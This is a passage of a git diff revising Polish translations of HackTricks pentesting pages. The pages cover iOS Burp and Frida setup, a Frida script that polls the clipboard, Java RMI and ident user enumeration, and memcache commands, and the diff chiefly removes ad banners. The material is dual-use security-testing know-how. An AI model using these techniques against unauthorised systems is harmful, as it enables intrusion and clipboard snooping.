**Ustawienia** > **Ogólne** > **VPN i zarządzanie urządzeniem**, a następnie włącz zaufanie dla CA PortSwigger w **Ustawieniach zaufania certyfikatu**. -### Konfiguracja proxy przechwytującego +### Konfiguracja proxy do przechwytywania -Konfiguracja umożliwia analizę ruchu między urządzeniem iOS a internetem przez Burp, wymagając sieci Wi-Fi, która obsługuje ruch klient-klient. Jeśli nie jest dostępna, połączenie USB przez usbmuxd może służyć jako alternatywa. Samouczki PortSwigger dostarczają szczegółowych instrukcji dotyczących [konfiguracji urządzenia](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) oraz [instalacji certyfikatu](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device). +Konfiguracja umożliwia analizę ruchu między urządzeniem iOS a internetem za pośrednictwem Burp, wymagając sieci Wi-Fi, która obsługuje ruch klient-klient. Jeśli nie jest dostępna, połączenie USB przez usbmuxd może służyć jako alternatywa. Samouczki PortSwigger zawierają szczegółowe instrukcje dotyczące [konfiguracji urządzenia](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) oraz [instalacji certyfikatu](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device). ### Zaawansowana konfiguracja dla urządzeń z jailbreakiem -Dla użytkowników z urządzeniami z jailbreakiem, SSH przez USB (za pomocą **iproxy**) oferuje metodę kierowania ruchu bezpośrednio przez Burp: +Dla użytkowników z urządzeniami z jailbreakiem, SSH przez USB (za pomocą **iproxy**) oferuje metodę do kierowania ruchu bezpośrednio przez Burp: -1. **Nawiązanie połączenia SSH:** Użyj iproxy, aby przekierować SSH na localhost, umożliwiając połączenie z urządzenia iOS do komputera uruchamiającego Burp. +1. **Nawiązanie połączenia SSH:** Użyj iproxy, aby przekierować SSH na localhost, umożliwiając połączenie z urządzenia iOS do komputera uruchamiającego Burp. ```bash iproxy 2222 22 ``` -2. **Przekierowanie portów zdalnych:** Przekieruj port 8080 urządzenia iOS na localhost komputera, aby umożliwić bezpośredni dostęp do interfejsu Burp. +2. **Przekierowanie portów zdalnych:** Przekieruj port 8080 urządzenia iOS na localhost komputera, aby umożliwić bezpośredni dostęp do interfejsu Burp. ```bash ssh -R 8080:localhost:8080 root@localhost -p 2222 ``` -3. **Ustawienie globalnego proxy:** Na koniec skonfiguruj ustawienia Wi-Fi urządzenia iOS, aby używało ręcznego proxy, kierując cały ruch internetowy przez Burp. +3. **Ustawienie globalnego proxy:** Na koniec skonfiguruj ustawienia Wi-Fi urządzenia iOS, aby używało ręcznego proxy, kierując cały ruch internetowy przez Burp. ### Pełne monitorowanie/słuchanie sieci -Monitorowanie ruchu urządzenia, który nie jest HTTP, można efektywnie przeprowadzić za pomocą **Wireshark**, narzędzia zdolnego do przechwytywania wszystkich form ruchu danych. Dla urządzeń iOS, monitorowanie ruchu w czasie rzeczywistym jest ułatwione poprzez stworzenie Zdalnego Wirtualnego Interfejsu, co jest szczegółowo opisane w [tym poście na Stack Overflow](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819). Przed rozpoczęciem, instalacja **Wireshark** na systemie macOS jest warunkiem wstępnym. +Monitorowanie ruchu urządzenia, który nie jest HTTP, można efektywnie przeprowadzić za pomocą **Wireshark**, narzędzia zdolnego do przechwytywania wszystkich form ruchu danych. Dla urządzeń iOS, monitorowanie ruchu w czasie rzeczywistym jest ułatwione poprzez stworzenie Zdalnego Wirtualnego Interfejsu, co zostało szczegółowo opisane w [tym poście na Stack Overflow](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819). Przed rozpoczęciem, instalacja **Wireshark** na systemie macOS jest warunkiem wstępnym. Procedura obejmuje kilka kluczowych kroków: -1. Nawiąż połączenie między urządzeniem iOS a hostem macOS przez USB. +1. Nawiąż połączenie między urządzeniem iOS a hostem macOS za pomocą USB. 2. Ustal **UDID** urządzenia iOS, co jest niezbędnym krokiem do monitorowania ruchu. Można to zrobić, wykonując polecenie w Terminalu macOS: ```bash $ rvictl -s Starting device [SUCCEEDED] with interface rvi0 ``` 3. Po zidentyfikowaniu UDID, **Wireshark** należy otworzyć i wybrać interfejs "rvi0" do przechwytywania danych. -4. W celu monitorowania docelowego, takiego jak przechwytywanie ruchu HTTP związanego z określonym adresem IP, można zastosować filtry przechwytywania Wireshark: +4. W celu monitorowania celowanego, takiego jak przechwytywanie ruchu HTTP związanego z określonym adresem IP, można zastosować filtry przechwytywania Wireshark: ## Instalacja certyfikatu Burp w symulatorze @@ -70,17 +62,17 @@ W _Proxy_ --> _Options_ --> _Export CA certificate_ --> _Certificate in DER form ![](<../../images/image (534).png>) - **Przeciągnij i upuść** certyfikat do emulatora -- **W emulatorze** przejdź do _Settings_ --> _General_ --> _Profile_ --> _PortSwigger CA_, i **zweryfikuj certyfikat** -- **W emulatorze** przejdź do _Settings_ --> _General_ --> _About_ --> _Certificate Trust Settings_, i **włącz PortSwigger CA** +- **W emulatorze** przejdź do _Settings_ --> _General_ --> _Profile_ --> _PortSwigger CA_ i **zweryfikuj certyfikat** +- **W emulatorze** przejdź do _Settings_ --> _General_ --> _About_ --> _Certificate Trust Settings_ i **włącz PortSwigger CA** ![](<../../images/image (1048).png>) **Gratulacje, pomyślnie skonfigurowałeś certyfikat Burp CA w symulatorze iOS** > [!NOTE] -> **Symulator iOS będzie używał konfiguracji proxy z MacOS.** +> **Symulator iOS będzie korzystał z konfiguracji proxy MacOS.** -### Konfiguracja proxy w MacOS +### Konfiguracja proxy MacOS Kroki do skonfigurowania Burp jako proxy: @@ -90,13 +82,7 @@ Kroki do skonfigurowania Burp jako proxy: ![](<../../images/image (431).png>) -- Kliknij na _**Ok**_ a następnie na _**Apply**_ +- Kliknij na _**Ok**_ a następnie na _**Apply**_ -
-\ -Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społeczności na świecie.\ -Uzyskaj dostęp już dziś: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md b/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md index 3607e1469..e2e6892af 100644 --- a/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md +++ b/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md @@ -2,15 +2,10 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Pogłęb swoją wiedzę w zakresie **Bezpieczeństwa Mobilnego** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i zdobądź certyfikat: - -{% embed url="https://academy.8ksec.io/" %} ## Instalacja Frida -**Kroki do zainstalowania Frida na urządzeniu z Jailbreakiem:** +**Kroki do zainstalowania Frida na urządzeniu z jailbreakiem:** 1. Otwórz aplikację Cydia/Sileo. 2. Przejdź do Zarządzaj -> Źródła -> Edytuj -> Dodaj. @@ -20,14 +15,14 @@ Pogłęb swoją wiedzę w zakresie **Bezpieczeństwa Mobilnego** z 8kSec Academy Jeśli używasz **Corellium**, musisz pobrać wersję Frida z [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) i rozpakować oraz skopiować do lokalizacji dylib, o którą prosi Frida, np.: `/Users/[youruser]/.cache/frida/gadget-ios.dylib` -Po zainstalowaniu możesz użyć na swoim PC komendy **`frida-ls-devices`** i sprawdzić, czy urządzenie się pojawia (twój PC musi mieć do niego dostęp).\ +Po zainstalowaniu możesz użyć na swoim PC polecenia **`frida-ls-devices`** i sprawdzić, czy urządzenie się pojawia (twój PC musi mieć do niego dostęp).\ Wykonaj również **`frida-ps -Uia`**, aby sprawdzić działające procesy telefonu. -## Frida bez urządzenia z Jailbreakiem i bez patchowania aplikacji +## Frida bez urządzenia z jailbreakiem i bez patchowania aplikacji Sprawdź ten wpis na blogu o tym, jak używać Frida na urządzeniach bez jailbreaka bez patchowania aplikacji: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07) -## Instalacja Klienta Frida +## Instalacja klienta Frida Zainstaluj **frida tools**: ```bash @@ -140,7 +135,7 @@ console.log("loaded") ### Frida Stalker -[Z dokumentacji](https://frida.re/docs/stalker/): Stalker to **silnik śledzenia** kodu Frida. Umożliwia **śledzenie** wątków, **rejestrując** każdą funkcję, **każdy blok**, a nawet każdą instrukcję, która jest wykonywana. +[Z dokumentacji](https://frida.re/docs/stalker/): Stalker to **silnik śledzenia** kodu Frida. Umożliwia **śledzenie** wątków, **przechwytując** każdą funkcję, **każdy blok**, a nawet każdą instrukcję, która jest wykonywana. Masz przykład implementacji Frida Stalker w [https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py) @@ -299,7 +294,7 @@ fpicker -v --fuzzer-mode active -e attach -p -D usb -o example > > Co więcej, Frida będzie przechwytywać sygnały wyjątków iOS, więc gdy **Frida znajdzie awarię**, prawdopodobnie **raporty o awariach iOS nie będą generowane**. > -> Aby temu zapobiec, na przykład, moglibyśmy zrestartować aplikację po każdej awarii Fridy. +> Aby temu zapobiec, na przykład, moglibyśmy zrestartować aplikację po każdej awarii Frida. ### Logi i awarie @@ -343,10 +338,5 @@ Możesz sprawdzić awarie w: - [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida) -
- -Pogłęb swoją wiedzę w **Mobile Security** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Android dzięki naszym kursom w trybie samodzielnym i zdobądź certyfikat: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting/ios-uipasteboard.md b/src/mobile-pentesting/ios-pentesting/ios-uipasteboard.md index 5dceabc8f..0bc4e6af1 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-uipasteboard.md +++ b/src/mobile-pentesting/ios-pentesting/ios-uipasteboard.md @@ -1,26 +1,22 @@ {{#include ../../banners/hacktricks-training.md}} -
+Udostępnianie danych w ramach i między aplikacjami na urządzeniach iOS jest ułatwione dzięki mechanizmowi [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), który dzieli się na dwie główne kategorie: -{% embed url="https://websec.nl/" %} - -Udostępnianie danych w ramach i pomiędzy aplikacjami na urządzeniach iOS jest ułatwione przez mechanizm [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), który dzieli się na dwie główne kategorie: - -- **Ogólny schowek systemowy**: Używany do udostępniania danych z **dowolną aplikacją** i zaprojektowany tak, aby utrzymywać dane pomiędzy ponownymi uruchomieniami urządzenia i odinstalowaniami aplikacji, funkcja ta jest dostępna od iOS 10. -- **Niestandardowe / nazwane schowki**: Przeznaczone specjalnie do udostępniania danych **w obrębie aplikacji lub z inną aplikacją**, która dzieli ten sam identyfikator zespołu, i nie są zaprojektowane do utrzymywania danych poza czas życia procesu aplikacji, który je tworzy, zgodnie ze zmianami wprowadzonymi w iOS 10. +- **Ogólny schowek systemowy**: Służy do udostępniania danych **w dowolnej aplikacji** i jest zaprojektowany tak, aby utrzymywać dane po ponownym uruchomieniu urządzenia i odinstalowaniu aplikacji, co jest dostępne od iOS 10. +- **Niestandardowe / nazwane schowki**: Służą specjalnie do udostępniania danych **w obrębie aplikacji lub z inną aplikacją**, która dzieli ten sam identyfikator zespołu, i nie są zaprojektowane do utrzymywania danych poza czasem życia procesu aplikacji, który je tworzy, zgodnie ze zmianami wprowadzonymi w iOS 10. **Rozważania dotyczące bezpieczeństwa** odgrywają znaczącą rolę przy korzystaniu ze schowków. Na przykład: -- Nie ma mechanizmu, który pozwala użytkownikom zarządzać uprawnieniami aplikacji do dostępu do **schowka**. +- Nie ma mechanizmu, który pozwalałby użytkownikom zarządzać uprawnieniami aplikacji do dostępu do **schowka**. - Aby zminimalizować ryzyko nieautoryzowanego monitorowania schowka w tle, dostęp jest ograniczony do momentu, gdy aplikacja jest na pierwszym planie (od iOS 9). - Użycie trwałych nazwanych schowków jest odradzane na rzecz wspólnych kontenerów z powodu obaw o prywatność. -- Funkcja **Uniwersalny schowek**, wprowadzona w iOS 10, umożliwiająca udostępnianie treści pomiędzy urządzeniami za pośrednictwem ogólnego schowka, może być zarządzana przez programistów w celu ustawienia wygasania danych i wyłączenia automatycznego transferu treści. +- Funkcja **Uniwersalny schowek**, wprowadzona w iOS 10, umożliwiająca udostępnianie treści między urządzeniami za pośrednictwem ogólnego schowka, może być zarządzana przez programistów w celu ustawienia wygasania danych i wyłączenia automatycznego transferu treści. -Zabezpieczenie, aby **wrażliwe informacje nie były przypadkowo przechowywane** w globalnym schowku, jest kluczowe. Dodatkowo, aplikacje powinny być zaprojektowane tak, aby zapobiegać niewłaściwemu wykorzystaniu danych z globalnego schowka do niezamierzonych działań, a programiści są zachęcani do wdrażania środków zapobiegających kopiowaniu wrażliwych informacji do schowka. +Zabezpieczenie, aby **wrażliwe informacje nie były przypadkowo przechowywane** w globalnym schowku, jest kluczowe. Dodatkowo aplikacje powinny być zaprojektowane tak, aby zapobiegać niewłaściwemu wykorzystaniu danych z globalnego schowka do niezamierzonych działań, a programiści są zachęcani do wdrażania środków zapobiegających kopiowaniu wrażliwych informacji do schowka. ### Analiza statyczna -W przypadku analizy statycznej, przeszukaj kod źródłowy lub binarny w poszukiwaniu: +W przypadku analizy statycznej przeszukaj kod źródłowy lub binarny w poszukiwaniu: - `generalPasteboard`, aby zidentyfikować użycie **ogólnego schowka systemowego**. - `pasteboardWithName:create:` i `pasteboardWithUniqueName` do tworzenia **niestandardowych schowków**. Sprawdź, czy trwałość jest włączona, chociaż jest to przestarzałe. @@ -41,7 +37,7 @@ Kluczowe szczegóły do monitorowania obejmują: Przykładem użycia narzędzia monitorującego jest **monitor schowka objection**, który co 5 sekund sprawdza generalPasteboard pod kątem zmian i wyświetla nowe dane. -Oto prosty przykład skryptu JavaScript, inspirowany podejściem objection, do odczytu i rejestrowania zmian z schowka co 5 sekund: +Oto prosty przykład skryptu JavaScript, inspirowany podejściem objection, do odczytu i rejestrowania zmian ze schowka co 5 sekund: ```javascript const UIPasteboard = ObjC.classes.UIPasteboard const Pasteboard = UIPasteboard.generalPasteboard() @@ -78,8 +74,5 @@ console.log(items) - [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi) - [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/) -
- -{% embed url="https://websec.nl/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/1099-pentesting-java-rmi.md b/src/network-services-pentesting/1099-pentesting-java-rmi.md index 26b47aa21..a52ba5069 100644 --- a/src/network-services-pentesting/1099-pentesting-java-rmi.md +++ b/src/network-services-pentesting/1099-pentesting-java-rmi.md @@ -2,17 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -
- -\ -Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\ -Uzyskaj dostęp już dziś: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %} - ## Podstawowe informacje -_Java Remote Method Invocation_, czyli _Java RMI_, to obiektowy mechanizm _RPC_, który pozwala obiektowi znajdującemu się w jednej _maszynie wirtualnej Java_ wywoływać metody na obiekcie znajdującym się w innej _maszynie wirtualnej Java_. Umożliwia to programistom pisanie rozproszonych aplikacji przy użyciu paradygmatu obiektowego. Krótkie wprowadzenie do _Java RMI_ z ofensywnej perspektywy można znaleźć w [tej prezentacji blackhat](https://youtu.be/t_aw1mDNhzI?t=202). +_Java Remote Method Invocation_, czyli _Java RMI_, to obiektowy mechanizm _RPC_, który pozwala obiektowi znajdującemu się w jednej _maszynie wirtualnej Java_ na wywoływanie metod obiektu znajdującego się w innej _maszynie wirtualnej Java_. Umożliwia to programistom pisanie rozproszonych aplikacji w oparciu o paradygmat obiektowy. Krótkie wprowadzenie do _Java RMI_ z perspektywy ofensywnej można znaleźć w [tej prezentacji blackhat](https://youtu.be/t_aw1mDNhzI?t=202). **Domyślny port:** 1090,1098,1099,1199,4443-4446,8999-9010,9999 ``` @@ -33,9 +25,9 @@ Mówiąc prosto, _Java RMI_ pozwala deweloperowi udostępnić _obiekt Java_ w si 1. Aby przekazać wywołanie metody za pomocą _Java RMI_, klienci muszą znać adres IP, port nasłuchujący, zaimplementowaną klasę lub interfejs oraz `ObjID` docelowego obiektu ( `ObjID` to unikalny i losowy identyfikator, który jest tworzony, gdy obiekt jest udostępniany w sieci. Jest wymagany, ponieważ _Java RMI_ pozwala wielu obiektom nasłuchiwać na tym samym porcie _TCP_ ). 2. Zdalni klienci mogą alokować zasoby na serwerze, wywołując metody na udostępnionym obiekcie. _Java virtual machine_ musi śledzić, które z tych zasobów są nadal używane, a które mogą być zbierane przez garbage collector. -Pierwsze wyzwanie jest rozwiązywane przez _RMI registry_, które jest zasadniczo usługą nazewniczą dla _Java RMI_. _RMI registry_ jest również usługą _RMI_, ale zaimplementowany interfejs i `ObjID` są stałe i znane wszystkim klientom _RMI_. Umożliwia to klientom _RMI_ korzystanie z _RMI registry_ tylko poprzez znajomość odpowiedniego portu _TCP_. +Pierwsze wyzwanie jest rozwiązywane przez _RMI registry_, które jest zasadniczo usługą nazewniczą dla _Java RMI_. _RMI registry_ sam w sobie jest również _usługą RMI_, ale zaimplementowany interfejs i `ObjID` są stałe i znane wszystkim klientom _RMI_. Umożliwia to klientom _RMI_ korzystanie z _RMI registry_ tylko poprzez znajomość odpowiedniego portu _TCP_. -Gdy deweloperzy chcą udostępnić swoje _obiekty Java_ w sieci, zazwyczaj przypisują je do _RMI registry_. _Registry_ przechowuje wszystkie informacje potrzebne do połączenia z obiektem (adres IP, port nasłuchujący, zaimplementowana klasa lub interfejs oraz wartość `ObjID`) i udostępnia je pod nazwą czytelną dla człowieka ( _bound name_ ). Klienci, którzy chcą korzystać z usługi _RMI_, pytają _RMI registry_ o odpowiednią _bound name_, a rejestr zwraca wszystkie wymagane informacje do połączenia. W ten sposób sytuacja jest zasadniczo taka sama jak w przypadku zwykłej usługi _DNS_. Poniższa lista pokazuje mały przykład: +Gdy deweloperzy chcą udostępnić swoje _obiekty Java_ w sieci, zazwyczaj przypisują je do _RMI registry_. _Registry_ przechowuje wszystkie informacje potrzebne do połączenia z obiektem (adres IP, port nasłuchujący, zaimplementowana klasa lub interfejs oraz wartość `ObjID`) i udostępnia je pod nazwą czytelną dla ludzi ( _bound name_ ). Klienci, którzy chcą korzystać z _usługi RMI_, pytają _RMI registry_ o odpowiednią _bound name_, a rejestr zwraca wszystkie wymagane informacje do połączenia. Tak więc sytuacja jest zasadniczo taka sama jak w przypadku zwykłej usługi _DNS_. Poniższa lista pokazuje mały przykład: ```java import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; @@ -131,7 +123,7 @@ $ rmg enum 172.17.0.2 9010 [+] --> Deserialization allowed - Vulnerability Status: Vulnerable [+] --> Client codebase enabled - Configuration Status: Non Default ``` -Wynik akcji enumeracji jest wyjaśniony bardziej szczegółowo na [stronach dokumentacji](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) projektu. W zależności od wyniku, powinieneś spróbować zweryfikować zidentyfikowane luki. +Wynik akcji enumeracji jest szczegółowo opisany na stronach [dokumentacji](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) projektu. W zależności od wyniku, powinieneś spróbować zweryfikować zidentyfikowane luki. Wartości `ObjID` wyświetlane przez _remote-method-guesser_ mogą być używane do określenia czasu działania usługi. Może to pozwolić na zidentyfikowanie innych luk: ``` @@ -280,17 +272,17 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub - `port:1099 java` -## Tools +## Narzędzia - [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - [rmiscout](https://github.com/BishopFox/rmiscout) - [BaRMIe](https://github.com/NickstaDB/BaRMIe) -## References +## Odniesienia - [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) -## HackTricks Automatyczne Komendy +## Automatyczne polecenia HackTricks ``` Protocol_Name: Java RMI #Protocol Abbreviation if there is one. Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one. @@ -301,12 +293,4 @@ Name: Enumeration Description: Perform basic enumeration of an RMI service Command: rmg enum {IP} {PORT} ``` -
- -\ -Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\ -Uzyskaj dostęp już dziś: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/11211-memcache/memcache-commands.md b/src/network-services-pentesting/11211-memcache/memcache-commands.md index 0b1bf0622..dcb98539b 100644 --- a/src/network-services-pentesting/11211-memcache/memcache-commands.md +++ b/src/network-services-pentesting/11211-memcache/memcache-commands.md @@ -2,9 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## Arkusz komend @@ -26,10 +23,10 @@ Niestety opis składni nie jest zbyt jasny, a prosta komenda pomocy wylistowują | decr | Zmniejsza wartość klucza numerycznego o podaną liczbę | `decr mykey 5` | | delete | Usuwa istniejący klucz | `delete mykey` | | flush_all | Natychmiast unieważnia wszystkie elementy | `flush_all` | -| flush_all | Unieważnia wszystkie elementy w n sekundach | `flush_all 900` | +| flush_all | Unieważnia wszystkie elementy w n sekundach | `flush_all 900` | | stats | Wyświetla ogólne statystyki | `stats` | | | Wyświetla statystyki pamięci | `stats slabs` | -| | Wyświetla statystyki alokacji na wyższym poziomie | `stats malloc` | +| | Wyświetla statystyki alokacji na wyższym poziomie | `stats malloc` | | | Wyświetla informacje o elementach | `stats items` | | | | `stats detail` | | | | `stats sizes` | @@ -41,11 +38,11 @@ Niestety opis składni nie jest zbyt jasny, a prosta komenda pomocy wylistowują #### Statystyki ruchu -Możesz zapytać o bieżące statystyki ruchu, używając komendy +Możesz zapytać o aktualne statystyki ruchu, używając komendy ``` stats ``` -Otrzymasz listę, która pokazuje liczbę połączeń, bajtów w/na i wiele więcej. +Otrzymasz listę, która pokazuje liczbę połączeń, bajtów w/na zewnątrz i wiele więcej. Przykładowy wynik: ``` @@ -79,7 +76,7 @@ Możesz zapytać o bieżące statystyki pamięci, używając ``` stats slabs ``` -Przykładowe wyjście: +Przykładowy wynik: ``` STAT 1:chunk_size 80 STAT 1:chunks_per_page 13107 @@ -118,10 +115,6 @@ STAT items:2:age 1405 [...] END ``` -To przynajmniej pomaga zobaczyć, czy jakiekolwiek klucze są używane. Aby wyeksportować nazwy kluczy z skryptu PHP, który już wykonuje dostęp do memcache, możesz użyć kodu PHP z [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html). - -
- -{% embed url="https://websec.nl/" %} +To przynajmniej pomaga zobaczyć, czy jakiekolwiek klucze są używane. Aby zrzucić nazwy kluczy z skryptu PHP, który już wykonuje dostęp do memcache, możesz użyć kodu PHP z [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/113-pentesting-ident.md b/src/network-services-pentesting/113-pentesting-ident.md index f67eba8af..bd62b999e 100644 --- a/src/network-services-pentesting/113-pentesting-ident.md +++ b/src/network-services-pentesting/113-pentesting-ident.md @@ -2,18 +2,11 @@ {{#include ../banners/hacktricks-training.md}} -
- -Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\ -Uzyskaj dostęp już dziś: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %} - ## Podstawowe informacje -**Protokół Ident** jest używany w **Internecie** do powiązania **połączenia TCP** z konkretnym użytkownikiem. Początkowo zaprojektowany w celu wspierania **zarządzania siecią** i **bezpieczeństwa**, działa poprzez umożliwienie serwerowi zapytania klienta na porcie 113 o informacje na temat użytkownika danego połączenia TCP. +Protokół **Ident** jest używany w **Internecie** do powiązania **połączenia TCP** z konkretnym użytkownikiem. Początkowo zaprojektowany w celu wspierania **zarządzania siecią** i **bezpieczeństwa**, działa poprzez umożliwienie serwerowi zapytania klienta na porcie 113 o informacje na temat użytkownika danego połączenia TCP. -Jednak z powodu współczesnych obaw o prywatność i potencjalnego nadużycia, jego użycie zmniejszyło się, ponieważ może nieumyślnie ujawniać informacje o użytkownikach nieuprawnionym stronom. Zaleca się wprowadzenie zaawansowanych środków bezpieczeństwa, takich jak szyfrowane połączenia i ścisłe kontrole dostępu, aby zminimalizować te ryzyka. +Jednak z powodu współczesnych obaw dotyczących prywatności i potencjalnego nadużycia, jego użycie zmniejszyło się, ponieważ może nieumyślnie ujawniać informacje o użytkownikach nieuprawnionym stronom. Zaleca się wprowadzenie zaawansowanych środków bezpieczeństwa, takich jak szyfrowane połączenia i ścisłe kontrole dostępu, aby zminimalizować te ryzyka. **Domyślny port:** 113 ``` @@ -24,7 +17,7 @@ PORT STATE SERVICE ### **Ręcznie - Uzyskaj użytkownika/Zidentyfikuj usługę** -Jeśli maszyna uruchamia usługę ident i samba (445) i jesteś połączony z sambą używając portu 43218. Możesz dowiedzieć się, który użytkownik uruchamia usługę samby, wykonując: +Jeśli maszyna uruchamia usługę ident i samba (445) i jesteś połączony z samba używając portu 43218. Możesz dowiedzieć się, który użytkownik uruchamia usługę samba, wykonując: ![](<../images/image (843).png>) @@ -55,7 +48,7 @@ PORT STATE SERVICE VERSION ``` ### Ident-user-enum -[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum) to prosty skrypt PERL do zapytania usługi ident (113/TCP) w celu określenia właściciela procesu nasłuchującego na każdym porcie TCP systemu docelowego. Lista zebranych nazw użytkowników może być używana do ataków zgadywania haseł na innych usługach sieciowych. Można go zainstalować za pomocą `apt install ident-user-enum`. +[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum) to prosty skrypt PERL do zapytań do usługi ident (113/TCP) w celu określenia właściciela procesu nasłuchującego na każdym porcie TCP systemu docelowego. Lista zebranych nazw użytkowników może być używana do ataków zgadywania haseł na innych usługach sieciowych. Można go zainstalować za pomocą `apt install ident-user-enum`. ``` root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445 ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum ) @@ -73,13 +66,6 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum ) identd.conf -
- -Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\ -Uzyskaj dostęp już dziś: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %} - ## Automatyczne polecenia HackTricks ``` Protocol_Name: Ident #Protocol Abbreviation if there is one. diff --git a/src/network-services-pentesting/135-pentesting-msrpc.md b/src/network-services-pentesting/135-pentesting-msrpc.md index 2cf3d3f83..4f8ad08a3 100644 --- a/src/network-services-pentesting/135-pentesting-msrpc.md +++ b/src/network-services-pentesting/135-pentesting-msrpc.md @@ -2,24 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -
+## Podstawowe informacje -Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami błędów! - -**Hacking Insights**\ -Zaangażuj się w treści, które zgłębiają emocje i wyzwania związane z hackingiem - -**Real-Time Hack News**\ -Bądź na bieżąco z dynamicznym światem hackingu dzięki wiadomościom i spostrzeżeniom w czasie rzeczywistym - -**Latest Announcements**\ -Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy - -**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś! - -## Basic Information - -Protokół Microsoft Remote Procedure Call (MSRPC), model klient-serwer umożliwiający programowi żądanie usługi od programu znajdującego się na innym komputerze bez zrozumienia specyfiki sieci, początkowo pochodził z oprogramowania open-source, a później został opracowany i objęty prawami autorskimi przez Microsoft. +Protokół Microsoft Remote 